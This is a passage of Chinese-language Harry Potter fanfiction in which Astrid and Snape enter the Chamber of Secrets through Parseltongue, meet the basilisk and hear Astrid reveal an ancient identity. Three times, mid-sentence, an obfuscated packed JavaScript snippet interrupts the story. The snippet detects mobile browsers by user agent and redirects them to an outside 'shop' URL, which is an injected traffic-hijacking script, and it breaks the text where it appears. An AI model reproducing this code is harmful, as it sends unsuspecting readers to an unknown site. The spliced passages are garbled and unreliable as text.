阿斯特丽德刚想做出一个理解的表情,就见桃金娘的目光忽然转向了另一个方向——那个站在洗手池边、尽量把自己隐藏在阴影里的黑色身影。桃金娘的眼睛亮了起来,银白色的脸上浮现出兴奋的神情,她朝那边俯冲下去,脸对着斯内普的脸,语气里满是暧昧的八卦:“哦,瞧瞧,这是谁?一个半夜闯进女生盥洗室的坏家伙。”她绕着斯内普转了一圈,“你是来找人的吗?这里目前没有别人,只有可怜的桃金娘——不过我也可以陪你聊天,我可有意思了。” 斯内普冷漠地盯着近在咫尺的银白色面孔,那张脸几乎要贴到他脸上。他没什么起伏地开口:“我也很想知道自己来这里的理由。” 桃金娘见两人没有马上离开的意思,立刻来了兴致,她可是难得逮到听众。她飘到半空中,开始绘声绘色地讲述起自己的死亡史,语气里带着一种诡异的骄傲:“那是一个春光明媚的下午,霍格沃茨到处鸟语花香,而我——可怜的桃金娘——却被同学无情地嘲讽,说我戴的眼镜难看,说我长得像癞蛤蟆。我不得不躲在这里调整情绪,哭得可伤心了。可是,我正哭到兴头上,就听到了些不寻常的声音——我打开门板——” “然后?”阿斯特丽德适时追问,眼睛紧紧盯着她。 “然后我就死了。”桃金娘说完,又一头扎进马桶里,发出惊天动地的哭声,那声音在管道里回荡,震得整个盥洗室都在微微颤抖。 斯内普的脸上浮现出一种极其罕见的困惑表情:就这样? 阿斯特丽德也愣了一下,但她很快回过神来,继续追问:“呃……请问,方便细说一下当时的情形吗?” 桃金娘从马桶里冒出头来,幽怨地看着她,但还是很有谈兴地继续说下去:“就看见了一个很大很大的黄眼睛,然后我就变成这样了。”她说完,还幽幽地点着头,肯定着这个简洁有力的总结。 斯内普的眉头终于蹙了起来。他看向阿斯特丽德:这就是你今晚的冒险内容——一个黄澄澄的硕大眼泡? 阿斯特丽德顾不得解释什么,她急忙指着桃金娘刚才冒出来的那个方位,语气急促:“就在这儿吗?这个位置?” 桃金娘不懂她为什么这么兴奋,只是点了点头。 阿斯特丽德立刻弯下腰去查看正对面的那个洗手池。她低着头,仔细检查着每一个细节。终于,在水龙头的侧面,她发现了一个小小的标志——一条小蛇,蜿蜒盘绕,刻痕已经有些模糊。 “那个水龙头一直坏着,从未出过水。”桃金娘在马桶里幽幽地介绍。 阿斯特丽德的动作停顿下来,她站在那里,盯着那条小蛇标志,心情有些复杂——既是对霍格沃茨物业管理的无语,又是对萨其马命运的庆幸。如果保持每个季度的循例检查,认真一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334610|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种纰漏总不至于遗留到现在,甚至也不至于让桃金娘枉死。她一时不知是该同情桃金娘,还是该庆幸萨其马没有被发现和处决。 斯内普这时走过去,也俯身查看了一眼水龙头。他的目光落在小蛇标志上,眉头皱得更紧了:“一条蛇的标志……你究竟在找什么?” 阿斯特丽德直起身,从口袋里拿出那副贴了膜的墨镜戴好,然后转过身来,郑重其事地嘱咐斯内普:“接下来,要时刻把墨镜戴好,西弗勒斯。我不想你最后跟桃金娘挤在一起做邻居。” “哦,我不介意。”桃金娘立即接话,带着诡异的热情,“真的,这里还有空位——最左边那个就不错,出水量大,还很顺畅,我每天都要在那儿泡一会儿。” 两个人齐刷刷回头看着她。 斯内普硬邦邦地吐出两个词:“不用,谢谢。” 然后在阿斯特丽德意味深长的、带着揶揄的目光中,他迅速掏出那副被改造过的墨镜戴好,又抽出魔杖,给两人都施了个牢固咒——确保墨镜不会在关键时刻脱落。 阿斯特丽德转回头继续去研究那个水龙头。她用手拨动了两下锈迹斑斑的开关,水龙头没什么变化。她想了想,侧过头对斯内普说:“你能用魔咒把它变大吗?最好这么粗。”她用手比划了一下,直径至少有二十厘米。 斯内普抽出魔杖对准水龙头,试着施展了几个放大咒。 水龙头纹丝不动,仿佛那些咒语只是一阵无关痛痒的风。 阿斯特丽德的目光落在他握着魔杖的手上,这才发现他已经换上了今天刚收到的魔杖壳——黑色磨砂款,尾端那两个小小的尖角在昏暗的光线下显得格外俏皮,手柄处那张坏笑的蝙蝠脸正对着她。她忍不住弯起嘴角,然后虚心问道:“是魔杖壳影响了你的发挥吗?” 斯内普看了她一眼,随即收起魔杖,语气平淡地解释:“……或许是它并不受任何咒语控制。想想看——如果真的存在某个不安全因素,而一个简单的放大咒就能将其放出来,这是否太不将学生的安全当一回事?” 很好,他没有讽刺她,没有无理取闹地把责任推卸到魔杖壳上,他还是有良心的。 阿斯特丽德喃喃自语,目光再次落在那条小蛇标志上:“咒语无效……刻着蛇……” 蛇…… 她忽然想到什么,凑近那个水龙头,开始对着它发出嘶嘶的声音—— ‘嘶……嘶嘶。’ ‘……嘶~’ ‘嘶嘶嘶!’ 从语气判断,她似乎有点着急,然后—— ‘嘶~嘶嘶~’ ‘……嘶嘶嘶嘶嘶?’ 斯内普站在一旁,听着那些诡异的嘶嘶声,脸上的表情从不解转为震惊,又从震惊到无语。他听不懂那些声音的含义,但从她的语气变化来看,他认为她大概是在骂这个水龙头,就像当初骂那根不听话的扫帚一样。 阿斯特丽德双手叉着腰,歪着头又思考了一会儿,然后再次尝试,声音里有种最后通牒的意味:‘嘶嘶。’ 这一次,那条小蛇标志终于有动静了。 它在水龙头上缓缓游走,像真正的蛇一样蜿蜒,然后水龙头开始发生变化。它缓慢地扩大、变形,最后露出一个硕大的黑洞洞的管道口。不少浮尘从里面飘出来,阿斯特丽德挥着手咳嗽,眼神却非常激动。 斯内普震惊地瞪着那个管道口,又瞪着阿斯特丽德,眼里满是不可思议。他的声音都比平时高了些:“你……你刚才……” “如你所见,蛇佬腔——一门小语种。”阿斯特丽德抬眸看他,语气浑不在意。 他知道那是蛇佬腔。那是萨拉查·斯莱特林的标志性能力,是通过血脉传承的、只有斯莱特林的后裔才能拥有的本领。那是那个人——黑魔王——的标志,是他用来证明自己与斯莱特林血脉相连的证据。 但是她——一个前麻瓜,一个在蜘蛛尾巷长大的、十六岁才忽然冒出来一点魔力的摔炮——怎么会这个? 又或许……这也是她在禁林那片空地里得到的本领?两个小时就能速通一门魔法界最稀有的语言? 他顾不上那些迂回的句式了,紧紧盯着阿斯特丽德:“我知道这是蛇佬腔,但你怎么会?这是那个人才会的,他……” 阿斯特丽德笑着拍拍他的肩膀,语气轻松:“别紧张,西弗勒斯。这不过就是一门语种——麻瓜都能发明出狗语翻译器了,区区蛇语有什么大惊小怪的?你想学的话,我可以教你啊。” 斯内普站在那里,看着她那张云淡风轻的脸,忽然有一种荒谬的感觉——就像是一个费心爬升阶层的人拼命想展示自己的优雅与礼仪,却发现伊丽莎白女王只是随意地握着杯壁,说红酒想怎么喝就怎么喝。 他勉强把那些翻涌的情绪压下去,最后问了一句:“在结束冒险之后,我应该能得到一个合理的解释?” 阿斯特丽德笑眯眯地把装满食物的纸袋抱好,冲他点了点头:“那是自然。” 她转回头,看向那个黑洞洞的管道口。那里面深不见底,只有一股陈腐的、混合着某种爬行动物特有气息的味道飘出来。她深吸一口气,屏住呼吸,抱着那袋食物,第一个钻了进去。 萨其马,你真的该好好洗个澡了。 41. 本人——萨姹 38. 然后阿斯特丽德就被拉住了。 她撅着个腚,大半个身子已经猫进那条臭烘烘的管道里,校袍后摆却被一只手牢牢攥住,整个人以一种极其不雅的姿势卡在那里,进也不是退也不是。那股从管道深处飘出来的气味实在令人作呕——混合着陈年的霉味、腐烂的骨头、某种爬行动物特有的腥膻,以及足以让任何正常人类退避三舍的恶臭,直往鼻腔里钻。 “急什么?”斯内普的声音从身后传来,带着点不满,还多了一层明显的嫌弃——那嫌弃不止是针对她,更因为他也闻到了那股味道,眉头紧皱着,“身为格兰芬多怎么连一点冒险常识都没有?闷头往里冲之前,起码得先确认里面有没有什么东西等着把你当晚餐。” 阿斯特丽德艰难地扭过头,莫名地看着他:“那……?” 斯内普没有回答。他只是再次挥动魔杖,默不作声地给两人都套上了一沓防护咒语——铁甲咒、泡头咒、防恶咒、还有一个她叫不出名字但看起来很复杂的咒语,那些咒语的光芒在昏暗的管道入口处一闪而没。做完这一切,他才一手提溜着阿斯特丽德的校袍后领把她从管道口拎出来,然后自己一抬腿跨了进去,挡在她前面。 “跟在我后面,不要乱跑。”他的声音从管道里传出来,带着一点回音。 “哦。”阿斯特丽德抱紧怀里的纸袋,乖乖地跟在他身后,像两只排着队滑滑梯的企鹅一样,顺着管道往下滑。 真的很臭。 那股气味在这密闭的管道里被放大了十倍不止,像是无数只死老鼠在角落里发酵了整整一个世纪。阿斯特丽德滑到尽头时摔了个屁股蹲儿,好在斯内普提前释放的缓冲咒稳稳接住了她——她一屁股坐在那无形的气垫上,懵了一下才反应过来,然后抬起头,环顾四周。 这是一个不大的石室,四周是粗糙的石壁,上面爬满了不知名的苔藓、菌类,和某种说不清的黏腻物质,散发着幽幽的绿色荧光。地面上散落着各种各样的骨头——有的很小,像是老鼠的;有的稍大,像是猫头鹰或者其他什么鸟类的;还有一些她不太想细看的、形状可疑的零碎残骸。她确信自己没来过这间屋子,也确信萨其马这千百年来过得真的很差。看看那些被啃得干干净净的小骨头吧,她能看出来那条蛇怪已经很珍惜粮食了。 “看你的表情,也是第一次来?”斯内普一直握着魔杖,保持着警戒状态,眼睛透过墨镜扫视着四周的每一个角落。 阿斯特丽德拍拍屁股站起来,动作间带起一阵细微的灰尘,那副贴了膜的墨镜让这里的景象看起来更加昏暗不清。她抬脚往里面走,语气轻快:“嗯,我很高兴是跟你一起来这里探险,巫师先生。” 斯内普用鼻息哼了一声,声音在空旷的石室里显得格外清晰,带着种“你当然应该庆幸”的意味。他抬脚追上她,几步就跨到她身侧:“不要离我太远,省得我还得像个无头苍蝇一样在这些臭烘烘的管道里到处找你。那画面不太体面,建议你不要让它发生。” 阿斯特丽德笑嘻嘻地靠近他,几乎要贴到他身上。她盯着他的侧脸——那张被昏暗光线勾勒得更加深邃的脸——用咏叹调般的语气开口:“哦,我离开谁也不会离开你的。” 斯内普转过头瞪了她一眼,那眼神在昏暗的环境里被墨镜挡去了一大半,实在没什么威慑力。“希望你能说到做到。”他说。 咦? 他居然不是让她“正经点”或者“保持距离”之类的话,而是顺着杆子爬上来了? 她打赌,他根本就知道她是什么意思。 那他是什么意思? 是那个意思吗? “嘎吱”—— 一声脆响打断了她的思绪。阿斯特丽德终于把不合时宜的恋爱脑收了回来,低头看向脚下。 那是一副蛇蜕。 通体碧绿,足足有十几米长,盘踞在第二个房间的地面上,在昏暗的环境里泛着幽冷的色泽。有些地方已经干枯发脆,她刚才那一脚正好踩在一截尾巴尖上,那截蛇蜕应声而碎,化作几片碧绿的碎片散落在地上。 “这就是我们此行的目标?”斯内普打量着那超越他目前认知的巨大蛇蜕,魔杖已经发射出几个探测咒,那些咒语在蛇蜕周围飞舞,测探着上面残留的魔力痕迹。 阿斯特丽德任由他探测那些蛇蜕,自己则往前走了几步,查看前方的通道。那通道更深,更暗,从里面飘出来的气味也更加浓郁。她头也不回地开口,语气随意得像在介绍一只宠物猫:“准确地说,目标是它的主人——萨其马,一只很乖巧的蛇怪。” 斯内普停止了探测。 他抬起头来瞅着她,眼睛里明明白白地写着:你是不是想让我说一种植物? 事实上,斯内普也的确很想说那个词——任何一个正常人在听到有人把一只瞪谁谁死的蛇怪称为“乖巧”的时候,都会想说那个词。他忍了又忍,才尽量平静地问出口:“你确定它很乖巧?” 如果他猜得不错——不,根本不用猜——五十年前的桃金娘就是死在那个“乖巧”的蛇怪的瞪视之下。一个十几岁的女生,在厕所里哭得好好的,打开门看了一眼,然后就死了——这叫乖巧? 光看表情阿斯特丽德就知道他在想些什么。她连忙开口安抚:“虽然我也很遗憾那件事,但那应该是个意外,西弗勒斯。萨拉查还让它当过一阵子禁林看守呢,它不会故意伤害学生们的。它没那么蠢,知道咬了霍格沃茨的学生会有什么后果。” 斯内普的表情变得有些耐人寻味。他盯着她,开口时语气慢悠悠的,但每一个字都像是一把小锤子,在她的话上敲出一个又一个问号:“你对于斯莱特林创始人直呼其名的行为,几乎要让人怀疑你认识他了。” 阿斯特丽德一噎。 她抬起眼眸,望着漆黑的天花板,看起来像是在跟某个看不见的存在求救:“……那倒也没错。” 这下斯内普是真的震惊了。 他眯起眼睛,目光透过墨镜直直地射向她,像是要把她整个人从里到外剖开看个清楚,“抱歉?” 阿斯特丽德摸了摸鼻子,又清了清嗓子,眼神有些躲闪:“就是……就是你理解的那个意思。” 斯内普的嘴巴微微张着,好半晌没能发出声音——这对他来说,简直是破天荒的事。最后,他终于顺畅地吐露出一串话,讽刺之余还有真真切切的荒谬和难以置信:“让我确认一下我有没有理解错误——你,阿斯特丽德·杜兰特,一个前麻瓜现摔炮,几个月前还在蜘蛛尾巷为了半块面包发愁,此刻站在千年蛇怪的蜕皮堆里告诉我,你跟萨拉查·斯莱特林——那个一千年前就化成灰的创始人——认识?而且语气熟稔得像是在聊隔壁邻居?”他停顿下来,表情有些崩溃,“你是疯了,还是觉得我疯了?或者你觉得今天是什么特别的日子,适合听这种天方夜谭?” 阿斯特丽德依旧飘忽地盯着石壁上那些幽幽发光的青苔,眼神没有焦点,嘴里咕哝了一句:“今天是我们第一次正式跳舞的日子。” 斯内普噎住了。 他再次张嘴,想说点什么,却发现这句话精准地堵住了他所有刻薄的退路——她说的没错,今天确实是他们第一次正式跳舞的日子,是他主动揽着她跳了一曲又一曲,是他用那些千奇百怪的借口把她留在舞池里转了无数圈。他酝酿了半天,最后只能垂死挣扎般地挤出一句:“所以,你真的转圈转到脑子不清醒了吗?” 阿斯特丽德这才叹了口气,慢吞吞地走近他,嘟嘟囔囔地开口:“咱俩脑子都没问题,我也不是在作弄你。就是这事说来话长……” “那你长话短说。”斯内普打断她,语气硬邦邦的,像是往石板上砸钉子。 阿斯特丽德顺畅地接话,眼睛直直地望着他:“长话短说就是——我是萨姹。” 是他让她长话短说的,她本来还想铺垫一番,比如“你想想我的魔杖花纹”,或者“这得从那个禁林之夜说起”。但他没那个耐心,那她也只好单刀直入了。 现在看来,效果很炸裂。 斯内普的表情很魔幻——震惊、荒谬、怀疑、恍然几种情绪交织在一起,像是有人在用他的脸练习变形术。他的嘴几番开合,好半天才挤出一个干涩的词:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334611|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你……” 然后卡住了。 他脑海里不由自主地开始播放那些原本零散此刻却疯狂串联起来的片段——有关萨姹的传说,那些他曾经嗤之以鼻的神话;她刚才说蛇佬腔时那浑不在意的样子,仿佛那是什么不值一提的小事;还有最重要的,她那根金合欢木的魔杖,上面雕刻着蛇鳞搭配羽毛纹路,那花纹他当时就觉得古怪,却从没往那个方向想过。 原来一切都有迹可循。 但那也太荒谬了! “那你怎么变成麻瓜了?”他终于找回了自己的声音,黑沉沉的眼睛瞪着她,带着“你必须给我解释清楚”的压迫感,“又为什么忽然有了魔力?而且魔力还这么弱?” 这个嘛……那就真的说来话长了。 阿斯特丽德的目光再次于天花板和墙壁之间游移,就是不敢落在他脸上。她总不好直白地告诉他:我曾经暗戳戳地视奸了你两年,然后又没忍住想救你,只不过劲使大了,所以变成了现在这个亚子……哦对了,真是很抱歉让你们再刷一次副本。 再刷一次副本。 再刷一次的,真的只是最后那个大战副本吗? 明明还有所有人的整个人生,全部的悲欢离合。 他再一次经历了被狼人咬的那一晚,再一次遭遇了那个让他沦为笑柄的五年级末,再一次跟莉莉决裂了。当初可没有一个麻瓜会去医院照顾他,会给他寄那些稀奇古怪的小玩意儿,更不会从八岁起就屁颠屁颠地跟在他身后做小尾巴。 所有的一切,都是他独自经历的。 那些漫长的、灰暗的、看不到尽头的日子,都是他一个人扛过来的。 可他好不容易经历完了,她又把他拉回来了。 现在要她当面告诉他:我是为了你好。 她做不到。 万一他并不想重活一次呢? 她从千年前就看过无数挣扎在痛苦中的人。如果死对他们来说是一种奢望和解脱,那么非要他们活下去,何尝不是一种残忍?那样的“活”,对他来说算是一种痛苦的禁锢吗? 阿斯特丽德肉眼可见地低落下去,那情绪像是从她身上溢出来的灰色雾气,把她整个人笼罩在里面。 斯内普因为震惊而飞扬起来的五官,此刻又慢慢地、慢慢地皱巴巴地挤在一起。他盯着她,眼里闪过困惑和担忧:“你怎么了?” 他都还没有指责她居然不告诉自己这么重大的事——让他像个傻子一样在她身边转了这么久——她就先难过起来了? 这让他觉得无从下口,无从吐槽,憋闷得很,又有点……担心。 阿斯特丽德过了一会儿才摇摇头,声音低低的:“没,只是不确定自己做得到底对不对。” “什么对不对?” “拉你来冒险对不对。” 斯内普挑眉:“我已经在这里了。” “嗯,已经这样了。”她低着头,盯着地上那堆干枯的蛇蜕。 “那你还胡思乱想什么?” “就是担心你知道以后会不会更疲倦。” “疲倦?” “嗯,疲倦。”她终于抬起头,眼神复杂地看着他。 那种身心都累到不想继续硬撑的疲倦,恨不得摆脱一切的疲倦。 因为她在那两年里感知到了他的一切——他行色匆匆的奔忙疲惫,他深夜在禁林边缘幻影移形时的仓促。她感知到他自从当上校长后,半夜里最常用的魔法是“呼神护卫”。而她在尖叫棚屋外面见到的那个身影,分明有着空洞却释然的目光。 那时她不明白,那些是因为什么。 但这一次,他在校医院里告诉过她,呼神护卫等于那个“她”。所以,他是不是因为跟莉莉决裂,又因为实在无法挽回莉莉,才会做了什么……导致自己的死亡? 阿斯特丽德一直以来困囿其中的问题,终于在这昏暗的石室里找到了出口——无论伏地魔为什么杀他,他早就知道自己难逃一死。 而那个原因,似乎就在那儿,但已经不重要了。 重要的是——他那时候,是想要离开的。 42. 萨其马老乖乖 39. 那她现在做的这一切有什么意义呢?所谓的意义究竟满足了谁的心愿? 是她的。 而非西弗勒斯·斯内普的。 如果一个人已经走完了他的路,在终点处露出的是释然的目光,那么把他重新拉回起点,让他再走一遍——这是救赎,还是惩罚? 她没法回答这个问题。 阿斯特丽德低着头,一直盯着地上的蛇蜕碎片,像是要从那些干枯的鳞片里看出什么答案来。 “如果你担心的是跳了一晚上舞还要来这种地方冒险会不会把我累垮——”斯内普盯着她看了一会儿,才慢慢开口,“那你可以把心放回肚子里。我体力尚佳。” 阿斯特丽德愣了一下,然后慢慢觉出味来——两个人一直在各说各话,但奇异地能对上号,就那么稀里糊涂地交流下去了。 不过他补充的那一句是什么意思? 什么叫他体力尚佳? 他是在暗示她什么吗?他什么时候知道男人最重要的第四样东西是体力了? 他偷看小黄文了! 阿斯特丽德狐疑地盯着他,好奇地求证道:“有多好?” 斯内普向地上那堆巨大的蛇蜕瞥去一眼,语气平平:“还能用咒语给那条蛇怪挠一晚上痒痒——如果你那位‘小乖乖’有这种需求的话。” 嗯?他怎么知道萨其马喜欢玩这个? 阿斯特丽德终于找到了知音,她的语气不由自主地轻快起来,那些低落的情绪像是被风吹散的雾气:“那我跟你说哦,它的痒痒肉可多了——肚子上、下巴颏、尾巴尖尖都是。不过它最喜欢的还是挠头顶,就像人类喜欢按摩头部一样,它也很享受那个。哦还有,它小时候还特别喜欢被人拍着肚子哄睡觉,萨拉查有段时间每天晚上都得蹲在它旁边拍半个小时,不然它就闹腾得整个地窖都不得安宁……” 话题逐渐偏离正题,向蛇怪的小癖好奔流而去。 当他们走到第三间石室门前时,阿斯特丽德才终于收住这个话题,补充道:“它的阿贝贝是一只破旧的毛绒蟾蜍,因为那是它破壳后看到的第一个东西。它把那个当妈妈,走哪儿叼哪儿,后来实在啃得没法看了,萨拉查给它换了新的,它就好几天没理他。” 那扇门上盘着两条栩栩如生的石蛇,蛇眼在昏暗里泛着幽光。斯内普听着阿斯特丽德再次用蛇佬腔对着那扇门嘶嘶作响,脑子里却想着另一件事——他居然即将要结识一只活了千年的蛇怪,并且已经在短短几句话里对它的习性、癖好、童年阴影以及那只被啃秃的布偶癞蛤蟆了如指掌。 这感觉就像是他即将面基,只不过对方尚且不知道他的存在,而他连对方最喜欢被挠哪里都知道得一清二楚。 石门上的那两条蛇开始缓缓游走,它们的动作缓慢而优雅,像是一场沉睡千年后终于醒来的舞蹈。石屑从它们身上簌簌落下,随着一阵低沉的摩擦声,门向两侧滑开,露出后面更深的空间。一股更加浓郁的味道扑面而来,墙壁上的苔藓在这里更加茂密,散发出幽幽的绿色荧光,把整个空间照得如同水下世界。 阿斯特丽德抱着纸袋走在前面,平底鞋踩在石板上发出轻微的声响。斯内普跟在她身后半步的位置,魔杖依旧握在手里,保持着警戒状态,但他没有再抢到她前面去——他忽然意识到,自己应该遵守某种不成文的拜访礼仪。既然他是被阿斯特丽德引荐过来的新朋友,那当然应该等她先和对方寒暄叙旧过后,再介绍他。然后他才能礼貌地向那只蛇怪伸出手,以期与它展开友好会晤。 见鬼的什么玩意儿。 他在心里暗暗吐槽了一句,然后思索着开口:“既然你跟萨拉查一起抚养了它,那为什么看起来像是不知道它会出现在这里?” 阿斯特丽德环顾四周,穿过一个浅浅的、漂浮着不明絮状物的水池,来到前方那个巨大的石像前。她仰起头,望着那座足有五六米高的雕像,沉默了片刻才开口:“因为我只来得及陪它到两岁就陨落了。我将它托付给了萨拉查,还以为他会帮它找个隐秘点的栖息地,再寻个配偶什么的。” 斯内普忍不住歪头看着她的背影,轻嗤一声:“哦,那样你现在就可以抱孙子了。想想看——一窝曾孙,蛇怪,缠在你的腿上要求抱抱,用它们那能瞪死人的眼睛眼巴巴地望着你。真正的儿孙绕膝,蛇头攒动,其乐融融。”是的,蛇怪。 她到底懂不懂这玩意儿对普通人类有多大的杀伤力啊? 阿斯特丽德回过头来,好笑地嗔怪了他一眼:“别这样,西弗勒斯。你明明知道我更期望有一窝姓斯内普的曾孙。” 斯内普的表情像是被人往嘴里灌了一大杯没加糖的苦艾汁——那猝不及防的刺激噎得他一时说不出话来。脸上的嫌弃、无语、还有被忽然撩拨后的微妙反应交织在一起,最后只化成一句硬邦邦的“你想得美”。 阿斯特丽德赶在他开口嘲讽之前,又紧接着说:“看看这个,西弗勒斯。”她指着那座石像,“你们学院伟大的创始人。” 斯内普的目光顺着她的手指望过去。 那是一座巨大的石像,雕刻的正是萨拉查·斯莱特林本人——他面容清瘦而威严,一头长发披散在肩头,那双眼睛即使是用石头雕成的,也透着一种睥睨众生的傲气。他穿着飘逸的长袍,左手握着一根蛇杖,右手微微抬起,像是在对什么人说话。整个石像的线条刚硬而优雅,散发只属于真正强者的、让人不由自主想要臣服的气场。 阿斯特丽德面色古怪地盯着那座石像,语气里带着几分无语:“他居然给自己搞了这个。”她顿了顿,又补充道,“不过,他也给我搞了一个,透明的,有将近三十米高,就在禁林里。但是自从我收回那些可怜的力量后,那座雕像就消散掉了。” 斯内普恍然。 原来她的魔力是这么来的——难怪他在那片空地上什么探测咒都用了,却什么也没找到。看来那雕像本身就是力量的载体,力量被她收回后,雕像自然就不复存在了。 他的眉头蹙了起来,目光从石像上移开,落在她脸上,似乎有些忧虑:“你的力量……就只有这么点了吗?” 阿斯特丽德点了点头,表情也有些遗憾,但更多的是坦然:“嗯,而且不可再生——不会像其他巫师那样随着年龄增长和技艺精进而提升。所以即便我学会再多咒语,使用出来的效果都是差不多的,跟挠痒痒差不多。” 斯内普抿着唇,过了一会儿,他才开口:“就没有别的办法了吗?” 阿斯特丽德摊开手耸了耸肩,动作里带着“接受现实吧”的豁达:“也许有吧,但谁知道呢?”她转回身,继续盯着那座石像,“好啦,别想太多了。现在先看看怎么把萨其马放出来吧——一定有什么机关之类的……” 她伸手在石像上摸索着,试图寻找按钮或者机扩之类的东西。灵巧的手指在石像的衣褶、蛇杖、底座上仔细探寻着,嘴里还念念有词。斯内普站在几步开外看着她,目光却似乎没有聚焦在她正在做的事情上。他低声自语着:“一定有什么办法。” “呃……芝麻开门?”阿斯特丽德试探着对石像说。 毫无动静。 “小兔子乖乖,把门开开?”她又尝试了一次,甚至还配合着做了个敲门的动作。 依旧毫无动静。 石像沉默地俯视着她,仿佛在说“就这?” 斯内普终于回过神来,忍不住开口:“萨拉查·斯莱特林的时代应该还没有那些麻瓜故事吧?” “哦,对。他应该没听过这些。”阿斯特丽德尴尬地挠了挠头,眼珠在墨镜后面转了转,决定再次尝试蛇语。 一阵嘶嘶声在空旷的石室里回荡——询问的、命令的、商量的、请求的,各种语气的嘶嘶声轮番上阵。尝试了足足十几句之后,阿斯特丽德抱着胸瞪视那座石像,语气有些挫败:“你说口令到底是什么?会不会是我们走错了?根本不在这间屋子里?” 斯内普环顾一圈,用魔杖施展了几个空间探测咒,那些咒语化作一道道微光,在空气中四散开来,没有发现任何隐藏的通道或机关。他又嫌弃地看了一眼那个漂浮着不明絮状物的水池:“应该没错,你那萨其马小乖乖的水盆就在这里呢。” 阿斯特丽德回头看过去,眼睛瞪得老大。那个水池的水面上漂浮着一层灰白色的絮状物,看起来像是某种腐烂的植物,又像是脱落的蛇鳞碎片。她的心揪了一下——那个居然是萨其马的水盆吗?她还以为是它的澡池子呢? 太可怜了,她的萨其马小乖乖,过得这都是什么日子。 阿斯特丽德抱着胸在石像前来回踱步,眉头紧锁,绞尽脑汁地想着还有什么可能的口令,那姿态看起来像是一只焦躁的母鸡。斯内普看着她在自己眼前转来转去,终于忍不住开口提醒:“或许他有什么爱好?就像校长办公室的口令一样。” 阿斯特丽德脚步一顿,抬起头望着他。 口令?柠檬雪宝之类的东西吗? 她决定尝试一下。 于是她清了清嗓子,面朝那尊沉默的石像,用一种庄严的语气开口:“干翻教廷,烧光圣经。” 石像毫无反应。 “拯救所有小巫师。” 依旧毫无反应。 “霍格沃茨世界第一。” 石像沉默。 “……斯莱特林最强?” 依旧沉默。 斯内普听着那些被她称为“萨拉查夙愿和爱好”的话,眉头忍不住抽了抽,频率快得像是在跳踢踏舞。这些口号要是被斯莱特林公共休息室里那帮人听见,怕是要当场给她颁发一个荣誉院长的头衔。 阿斯特丽德则愁眉苦脸地想着,还能有什么事算得上萨拉查的喜好呢? 萨拉查·斯莱特林—— 斯莱特林—— 汤姆—— 那个人,和萨拉查一样,骨子里都刻着同样的东西——那种“我是最特别的存在”、“我注定不凡”的认知。那种需要被人仰望、被人崇拜、被人用最华丽的辞藻赞美的不加掩饰的渴望。 哦。 一脉相承的傲气。 一脉相承的自恋。 她懂了。 现在她该扮演魔镜了。 阿斯特丽德再次面朝那座石像,用近乎咏叹调般的、饱含崇拜的、能让任何一个自恋狂心满意足的语气开口:“伟大的萨拉查·斯莱特林——您是如此的睿智、强大、卓尔不凡,您是霍格沃茨最伟大的创始人,是所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334612|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有斯莱特林的骄傲与荣光,您的智慧跨越千年依然熠熠生辉,您的远见令后世无数巫师望尘莫及,您的魔法造诣足以让众神俯首。请给我启示,伟大的斯莱特林——” 斯内普的额角也开始抽抽了。 他们斯莱特林原来都是这个调调吗? 不,他才不是。 他刚准备在心里与此划清界限,就听见一阵沉闷的声响从石像内部传来——石像的嘴巴缓缓张开了,露出一个水龙头变化后那么大的口径,里面是黑黝黝的、看不见底的管道,看起来不怎么美妙。 他立刻把魔杖竖在胸前,保持着最高级别的警戒状态。还没等他来得及做什么,就听见管道深处传来窸窸窣窣的声音,那动静越来越大,越来越近,与此同时,那股已经足够浓郁的气味变得更加浓烈了。 哦,蛇怪的攻击也许不只是对视,还有气味。 斯内普不得不减缓呼吸,以保证自己的思维清明。 一个硕大的、丑陋得近乎狰狞的头颅渐渐从那管道口探了出来。 深绿色的鳞片覆盖着它整个头部,一双黄澄澄的眼睛在昏暗里泛着幽光,瞳孔细长如缝,嘴里时不时吐出的蛇信足有成人手臂那么长。它看到站在水池边的两个戴着墨镜的人类后,明显愣了一下,黄眼睛眨了眨,像是在确认自己是不是眼花了。 然后它继续蜿蜒而下,那条粗壮得足以一尾巴扫飞巨人的身躯从管道里缓缓滑出,在石室里盘绕了好几圈才终于完全落地。 它游弋到阿斯特丽德面前,那个硕大的头颅低下来,用近到足以让任何普通人腿软的距离,几乎脸贴着脸地盯着她。 一阵嘶嘶声从那巨大的嘴里传出来,声音苍老虚弱,却又带着难以抑制的激动:‘你是……?’ 